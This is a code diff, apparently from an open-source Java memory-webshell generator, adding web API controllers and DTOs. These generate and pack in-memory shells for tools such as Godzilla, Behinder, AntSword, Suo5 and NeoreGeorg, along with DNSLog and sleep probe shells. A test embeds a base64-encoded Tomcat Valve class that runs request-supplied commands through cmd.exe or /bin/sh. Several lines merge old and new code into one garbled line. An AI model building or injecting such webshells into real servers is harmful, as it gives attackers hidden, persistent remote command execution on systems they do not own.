import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.packer.Packers;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import java.util.*; import java.util.*;
import java.util.stream.Collectors;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/13 * @since 2024/12/13
*/ */
@RestController @RestController
@RequestMapping("/config") @RequestMapping("/api/config")
@CrossOrigin("*") @CrossOrigin("*")
public class ConfigController { public class ConfigController {
@RequestMapping
public ResponseEntity<?> config() { @RequestMapping("/servers")
Map<String, Map<?, ?>> coreMap = new HashMap<>(16); public Map<String, List<String>> getServers() {
for (Server value : Server.values()) { Map<String, List<String>> servers = new LinkedHashMap<>();
AbstractShell shell = value.getShell(); List<String> supportedServers = ServerFactory.getSupportedServers();
if (shell == null) { for (String supportedServer : supportedServers) {
continue; Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
.getShellInjectorMapping().getSupportedShellTypes();
servers.put(supportedServer, supportedShellTypes.stream().toList());
} }
ShellTool[] supportedShellTools = ShellTool.values(); return servers;
}
@RequestMapping("/packers")
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList();
}
@RequestMapping
public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
Map<String, Set<String>> map = new LinkedHashMap<>(16); Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : supportedShellTools) { for (String shellTool : server.getSupportedShellTools()) {
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool); Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) { if (supportedShellTypes.isEmpty()) {
continue; continue;
} }
map.put(shellTool.name(), supportedShellTypes); map.put(shellTool, supportedShellTypes);
} }
coreMap.put(value.name(), map); coreMap.put(supportedServer, map);
} }
Config config = new Config(); return coreMap;
config.setServers( }
Arrays.stream(Server.values())
.filter(s -> s.getShell() != null) @GetMapping("/command/configs")
.map(Server::name) public CommandConfigVO getCommandConfigs() {
.collect(Collectors.toList()) CommandConfigVO commandConfigVO = new CommandConfigVO();
); commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
config.setCore(coreMap); commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
config.setPackers( return commandConfigVO;
Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList()
);
return ResponseEntity.ok(config);
} }
} }
@@ -1,41 +0,0 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/generate")
@CrossOrigin("*")
public class GeneratorController {
@PostMapping
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
} else if (packer instanceof AggregatePacker) {
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
} else {
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
}
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/api/memshell/generate")
@CrossOrigin("*")
public class MemShellGeneratorController {
@PostMapping
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
}
if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
}
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ProbeContentConfig;
import org.springframework.web.bind.annotation.*;
/**
* @author ReaJason
* @since 2025/8/10
*/
@RestController
@RequestMapping("/api/probe/generate")
@CrossOrigin("*")
public class ProbeShellGeneratorController {
@PostMapping
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
ProbeConfig probeConfig = request.getProbeConfig();
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
}
}
}
@@ -1,10 +1,20 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.VersionInfo;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpMethod;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
import org.thymeleaf.util.StringUtils;
import java.util.List;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
@@ -12,14 +22,70 @@ import org.springframework.web.bind.annotation.RestController;
*/ */
@RestController @RestController
@CrossOrigin("*") @CrossOrigin("*")
@RequestMapping("/version") @RequestMapping("/api/version")
public class VersionController { public class VersionController {
@Value("${spring.application.version}") @Value("${spring.application.version}")
String version; private String version;
private final RestTemplate restTemplate;
public VersionController(RestTemplate restTemplate) {
this.restTemplate = restTemplate;
}
@GetMapping @GetMapping
public String version() { public VersionInfo version() {
if (version.endsWith("-SNAPSHOT")) {
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(version).build();
}
String latestVersion = getLatestGithubRelease();
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(latestVersion)
.hasUpdate(!StringUtils.equals(version, latestVersion))
.build();
}
private String getLatestGithubRelease() {
try {
String latestVersion = tryFetchRelease("https://api.github.com");
if (latestVersion != null) {
return latestVersion;
}
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
if (latestVersion != null) {
return latestVersion;
}
} catch (Exception ignored) {
}
return version; return version;
} }
private String tryFetchRelease(String baseUrl) {
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
apiUrl,
HttpMethod.GET,
null,
new ParameterizedTypeReference<>() {
}
);
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
List<Map<String, Object>> body = response.getBody();
for (Map<String, Object> map : body) {
String targetCommitish = (String) map.get("target_commitish");
Boolean prerelease = (Boolean) map.get("prerelease");
Boolean draft = (Boolean) map.get("draft");
if ("master".equals(targetCommitish) && !prerelease && !draft) {
String tagName = (String) map.get("name");
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
}
}
}
return null;
}
} }
@@ -1,16 +1,70 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/19 * @since 2024/12/19
*/ */
@Controller @Controller
@Slf4j
public class ViewController { public class ViewController {
@GetMapping("/") @GetMapping("/")
public String index(){ public String index(){
return "redirect:/ui";
}
@GetMapping({"/api/search", "/api/search.data"})
@ResponseBody
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
String relativePath = fullPath.substring(1);
return renderFileData(relativePath, response);
}
@GetMapping("/ui/**")
@SneakyThrows
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
return "index"; return "index";
} }
String docPath = fullPath.substring(4);
if (docPath.endsWith(".data")) {
return ResponseEntity.ok(renderFileData(docPath, response));
}
return docPath + "/index";
}
private String renderFileData(String relativePath, HttpServletResponse response) {
try {
String templatePath = "templates/" + relativePath;
ClassPathResource resource = new ClassPathResource(templatePath);
if (!resource.exists()) {
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
return "File not found: " + relativePath;
}
InputStreamReader reader = new InputStreamReader(
resource.getInputStream(),
StandardCharsets.UTF_8
);
return FileCopyUtils.copyToString(reader);
} catch (IOException e) {
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
return "Error reading file: " + e.getMessage();
}
}
} }
@@ -1,29 +0,0 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.GenerateResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
public class GenerateResponse {
private GenerateResult generateResult;
private String packResult;
private Map<String, String> allPackResults;
public GenerateResponse(GenerateResult generateResult, String packResult) {
this.generateResult = generateResult;
this.packResult = packResult;
}
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.generateResult = generateResult;
}
}
@@ -1,30 +1,36 @@
package com.reajason.javaweb.boot.dto; package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.packer.Packers;
import lombok.Data; import lombok.Data;
import static com.reajason.javaweb.memshell.ShellTool.*;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/18 * @since 2024/12/18
*/ */
@Data @Data
public class GenerateRequest { public class MemShellGenerateRequest {
private ShellConfig shellConfig; private ShellConfig shellConfig;
private ShellToolConfigDTO shellToolConfig; private ShellToolConfigDTO shellToolConfig;
private InjectorConfig injectorConfig; private InjectorConfig injectorConfig;
private Packers packer; private Packers packer;
@Data @Data
static class ShellToolConfigDTO { public static class ShellToolConfigDTO {
private String shellClassName; private String shellClassName;
private String godzillaPass; private String godzillaPass;
private String godzillaKey; private String godzillaKey;
private String commandParamName; private String commandParamName;
private String commandTemplate;
private String behinderPass; private String behinderPass;
private String antSwordPass; private String antSwordPass;
private String headerName; private String headerName;
private String headerValue; private String headerValue;
private String shellClassBase64;
private String encryptor;
private String implementationClass;
} }
public ShellToolConfig parseShellToolConfig() { public ShellToolConfig parseShellToolConfig() {
@@ -45,8 +51,13 @@ public class GenerateRequest {
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName()) .paramName(shellToolConfig.getCommandParamName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.template(shellToolConfig.getCommandTemplate())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5, Suo5v2 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue()) .headerValue(shellToolConfig.getHeaderValue())
@@ -57,6 +68,19 @@ public class GenerateRequest {
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue()) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.build();
case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64())
.shellClassName(shellToolConfig.getShellClassName())
.build();
case Proxy -> ProxyConfig.builder()
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.shellClassName(shellToolConfig.shellClassName).build();
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}; };
} }
@@ -0,0 +1,29 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.MemShellResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@NoArgsConstructor
public class MemShellGenerateResponse {
private MemShellResult memShellResult;
private String packResult;
private Map<String, String> allPackResults;
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
this.memShellResult = memShellResult;
this.packResult = packResult;
}
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.memShellResult = memShellResult;
}
}
@@ -0,0 +1,44 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.config.*;
import lombok.Data;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
public class ProbeShellGenerateRequest {
private ProbeConfig probeConfig;
private ProbeContentConfigDTO probeContentConfig;
private Packers packer;
@Data
static class ProbeContentConfigDTO {
private String host;
private int seconds;
private String server;
private String sleepServer;
private String reqParamName;
private String commandTemplate;
}
public ProbeContentConfig parseProbeContentConfig() {
return switch (probeConfig.getProbeMethod()) {
case DNSLog -> DnsLogConfig.builder()
.host(probeContentConfig.host)
.build();
case Sleep -> SleepConfig.builder()
.seconds(probeContentConfig.seconds)
.server(probeContentConfig.sleepServer)
.build();
case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName)
.commandTemplate(probeContentConfig.commandTemplate)
.server(probeContentConfig.server)
.build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
};
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.probe.ProbeShellResult;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/8/10
*/
@Data
@NoArgsConstructor
public class ProbeShellGenerateResponse {
private ProbeShellResult probeShellResult;
private String packResult;
private Map<String, String> allPackResults;
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
this.probeShellResult = probeShellResult;
this.packResult = packResult;
}
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.probeShellResult = probeShellResult;
}
}
@@ -11,7 +11,7 @@ import java.util.Map;
*/ */
@Data @Data
public class Config { public class Config {
private List<String> servers; private Map<String, List<String>> servers;
private Map<String, Map<?, ?>> core; private Map<String, Map<?, ?>> core;
private List<String> packers; private List<String> packers;
} }
@@ -0,0 +1,15 @@
package com.reajason.javaweb.boot.entity;
import lombok.Builder;
import lombok.Data;
/**
* @author ReaJason
*/
@Data
@Builder
public class VersionInfo {
private String currentVersion;
private String latestVersion;
private boolean hasUpdate;
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.boot.vo;
import com.reajason.javaweb.memshell.config.CommandConfig;
import lombok.Data;
import java.util.List;
/**
* @author ReaJason
* @since 2025/5/25
*/
@Data
public class CommandConfigVO {
private List<CommandConfig.Encryptor> encryptors;
private List<CommandConfig.ImplementationClass> implementationClasses;
}
+3
View File
@@ -2,3 +2,6 @@ spring:
application: application:
name: boot name: boot
version: ${version} version: ${version}
mvc:
pathmatch:
matching-strategy: ant_path_matcher
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/11/10
*/
class ClassNameParseControllerTest {
@Test
void test(){
ClassNameParseController classNameParseController = new ClassNameParseController();
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
@@ -8,6 +7,9 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import java.util.List;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -24,14 +26,22 @@ public class ConfigControllerIntegrationTest {
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class); ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
Config config = response.getBody(); @Test
assertNotNull(config); public void testConfigServersEndpoint() {
assertNotNull(config.getServers()); ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
assertNotNull(config.getCore()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(config.getPackers()); assertNotNull(response.getBody());
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
} }
} }
@@ -0,0 +1,58 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/9/16
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest {
@Autowired
TestRestTemplate restTemplate;
@Test
void generateShell() {
MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.FILTER)
.shellTool(ShellTool.Godzilla)
.shrink(true)
.debug(true)
.serverVersion("Unknown")
.targetJreVersion(50)
.build());
request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*")
.build());
request.setPacker(Packers.ScriptEngine);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
}
+11
View File
@@ -0,0 +1,11 @@
plugins {
`kotlin-dsl`
}
repositories {
mavenCentral()
}
dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
}
+1
View File
@@ -0,0 +1 @@
rootProject.name = "build-logic"
@@ -0,0 +1,38 @@
plugins {
id("com.vanniktech.maven.publish")
}
mavenPublishing {
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
signAllPublications()
coordinates(
"io.github.reajason",
project.name,
rootProject.version as String
)
pom {
name.set("MemShellParty")
description.set(project.description)
url.set("https://github.com/ReaJason/MemShellParty")
inceptionYear.set("2025")
licenses {
license {
name.set("MIT")
url.set("https://spdx.org/licenses/MIT.html")
}
}
developers {
developer {
id.set("reajason")
name.set("ReaJason")
url.set("https://reajason.eu.org")
}
}
